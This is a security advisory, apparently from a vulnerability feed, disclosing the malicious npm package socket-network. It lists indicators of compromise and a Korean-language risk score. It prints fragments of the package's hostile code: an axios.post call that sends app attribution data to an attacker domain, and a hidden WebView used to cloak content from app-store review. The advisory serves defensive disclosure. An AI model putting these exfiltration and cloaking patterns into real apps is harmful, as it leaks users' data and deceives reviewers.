Malicious code in socket-network (npm)
The npm package socket-network (published by npm user sproger, slavatopbuyer@gmail.com) is a deceptive React Native component and part of a coordinated 37-package campaign across two attacker-controlled domains (surrprisingcoompanny.lol and barbellmate.xyz). On component mount it registers appsFlyer.onInstallConversionData and exfiltrates the app's install/conversion attribution data via axios.post("https://surrprisingcoompanny.lol", data), fetches a remote-config URL, and renders it full-screen in a react-native-webview that is hidden (display:'none') unless the server returns a valid URL — i.e. App Store review-evasion / attribution-laundering ('cloaking'). The package name is a decoy unrelated to its actual function, and the real logic is concealed behind junk 'calculator' functions with Ukrainian-language comments. Indicators of compromise: C2 surrprisingcoompanny.lol, barbellmate.xyz; npm author sproger. Both C2 domains are currently unregistered (dangling-C2 takeover risk for any app still shipping these packages). Reproducible from the published tarball, e.g. socket-network@1.0.0 SocketComponent*.jsx: appsFlyer.onInstallConversionData(...) -> axios.post("https://surrprisingcoompanny.lol", data); axios.get(fLink) remote config; hidden <WebView source={{uri: techResult}}> gated on display:'none'/'flex'.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준